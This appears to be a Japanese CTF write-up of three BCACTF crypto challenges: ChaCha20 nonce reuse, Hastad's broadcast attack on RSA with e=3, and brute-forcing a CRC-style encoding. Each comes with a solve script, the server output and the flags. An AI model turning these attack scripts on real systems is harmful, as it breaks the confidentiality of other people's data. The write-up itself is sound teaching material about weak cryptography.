 ・keyとnonceを使って、secret_msgのChaCha20暗号化を行い、16進数表記で表示
・user_msg: 入力(256バイト以下)
・encrypt_msg(user_msg)を表示
・decrypted_secret_msg: 入力
・decrypted_secret_msgとsecret_msgが同じ場合、フラグを表示

ChaCha20暗号化は生成したストリーム文字列と平文をXORして暗号化する。keyとnonceは同じなので、生成したストリーム文字列は2回の暗号化で同じ。secret_msgと同じ長さの文字列を入力し、平文と暗号文のXORからストリーム文字列を割り出す。あとはそのストリーム文字列とsecret_msgの暗号文のXORでsecret_msgを割り出すことができる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 31100))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

enc_secret_msg = bytes.fromhex(data)

pt = 'A' * len(enc_secret_msg)
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

print(pt)
s.sendall(pt.encode() + b'\n')
for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ct = bytes.fromhex(data)
secret_msg = strxor(strxor(pt.encode(), ct), enc_secret_msg).decode()

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

print(secret_msg)
s.sendall(secret_msg.encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Secret message:
293d9be344603e82621f102600d0e848443ce1a9008be15584be32336c925a32

Enter your message:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Encrypted:
0a4fbb9161441ca0156e675371f0986d671b90d075fc9171a6cc42471ee17844

Enter decrypted secret message:
b3a3decc60640a1dbf08461ec31532c7

bcactf{b3_C4rEFu1_wItH_crypT0Gr4phy_7d12be3b}
bcactf{b3_C4rEFu1_wItH_crypT0Gr4phy_7d12be3b}

RSAEncrypter (crypto 100)

サーバの処理概要は以下の通り。

・message: flag
・encode()結果を表示
 ・n: 512ビット素数と512ビット素数の積
 ・ciphertext = pow([messageの数値化したもの], 3, n)
 ・ciphertext, nを表示
・sent: 入力
・sentが"n"である間、以下繰り返し
 ・encode()結果を表示
 ・sent: 入力

ciphertext, nのペアを3つ入手し、Hastad's Broadcast Attackで復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 32666))

ns = []
cs = []
e = 3

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

ciphertext, n = eval(data)
ns.append(n)
cs.append(ciphertext)

for _ in range(2):
    data = recvuntil(s, b'(y/n) ')
    print(data + 'n')
    s.sendall(b'n\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ciphertext, n = eval(data)
    ns.append(n)
    cs.append(ciphertext)

data = recvuntil(s, b'(y/n) ')
print(data + 'y')
s.sendall(b'y\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
print()

me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

Return format: (ciphertext, modulus)
(16662301336000929232856123889986692679864689772703343124576485849609008033943011702533968889568758894690159205011780951442460379634917083236711641750225581966405199436538292393404561696521235851295027286517044788320053337446510239282404554475223443395831172724577660558664239831818699099890366360542958043774, 52061765541851433144645013932074998885007721192554646665962608224724091105660252448406972175217644813475176697465744855541745815872967938945991261101605229109892986856868864101019965179552249967494308697560797407697246300235833965835457043835670136360713166911546134023014095843885801274098831008063133899791)
Did you recieve the message? (y/n) n
(141141787497244136342810168326994351327137788011137708918217250173342585719004623491833035343651341933252829879460665676742988652279461304730085683137942092033628063112089205239700147863203499316950491085560802172488825584526061504142873758241233941112270817753713311343216137589676235020649838209572325092831, 154673965516108268400184037908063289495864030756144599123560287957435200340819130571190635267722378990725206175985516678184636345919489125375682817721848201451761215676936024445054461966810159551612904493072610740895350762228050956306045467280077886319620343227514941435870658028149537815477488210792190431189)
How about now? (y/n) n
(27016564793765157758840709930433091487948240162197408015405988178462510163202055450083912155945189022739672639718850027986395612738749604872973947543899297026519669569969786881408377456418635537635162457905995287675906952865031324614134475461319124443291207266205062005368637583827832610659342410205822422080, 86375456518877764391725130882473801285854590443057100589879017006940222751150166998258295972732237223816729851553547055044684260398310489735083572957080212878520062755624294319655042763291642448031107863217530476016996468587710105296651063018965530701448184406652636946883463172311547192118956798372890336457)
How about now? (y/n) y
Message acknowledged.

bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}
bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}

rad-be-damned (crypto 150)

暗号処理の概要は以下の通り。

・plaintext: フラグ
・enc_plaintext = encrypt(plaintext)
 ・enc_plaintext = ''
 ・plaintextの各文字letterについて以下を実行
  ・cp = 19
  ・cp_length = 5
  ・bin_letter: letterのASCIIコード
  ・rem = letterのASCIIコード * 2**4
  ・remのビット数が5以上の間、以下を実行
   ・first_pos = find_leftmost_set_bit(rem)
    ・pos = 0
    ・remが0より大きい間、以下を実行
     ・rem: remを右シフト
     ・pos += 1
    ・posを返却
   ・rem = rem ^ (cp << (first_pos - cp_length))
  ・enc_plaintextに format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b") を結合
・cor_text = rad(enc_plaintext)
 ・corrupted_str = ''
 ・enc_plaintextの12バイトごとに以下を実行
  ・bit_mask = 2 ** (random.randint(0, 11))
  ・snippet: 12バイトの10進数数値
  ・rad_str: snippet と bit_maskのXOR (1ビット反転)
  ・corrupted_strにrad_strを2進数文字列12バイトで結合
・cor_textを出力

encryptでは各文字で平文と暗号文が1対1対応する。すべて確認し、それと1ビットだけ異なるものを探していけば、文字を探り当てることができ、フラグがわかる。

#!/usr/bin/env python3
def find_leftmost_set_bit(plaintext):
    pos = 0
    while plaintext > 0:
        plaintext = plaintext >> 1
        pos += 1
    return pos

def encrypt_char(letter):
    cp = int('10011', 2)
    cp_length = cp.bit_length()
    bin_letter, rem = ord(letter), ord(letter) * 2**(cp_length - 1)
    while (rem.bit_length() >= cp_length):
        first_pos = find_leftmost_set_bit(rem)
        rem = rem ^ (cp << (first_pos - cp_length))

    return format(bin_letter, "08b") + format(rem, "0" + f"{cp_length - 1}" + "b")

def check(s1, s2):
    count = 0
    for i in range(len(s1)):
        if s1[i] != s2[i]:
            count += 1
    if count == 1:
        return True
    else:
        return False

dic = {}
for code in range(32, 127):
    dic[code] = encrypt_char(chr(code))

with open('output.txt', 'r') as f:
    enc = f.read()

flag = ''
for i in range(0, len(enc), 12):
    c = enc[i:i+12]
    for code in range(32, 127):
        if check(c, dic[code]):
            flag += chr(code)
            break

print(flag)
bcactf{yumMY-y311OWC4ke-x7CwKqQc5fLquE51V-jMUA-aG9sYS1jb21vLWVzdGFz}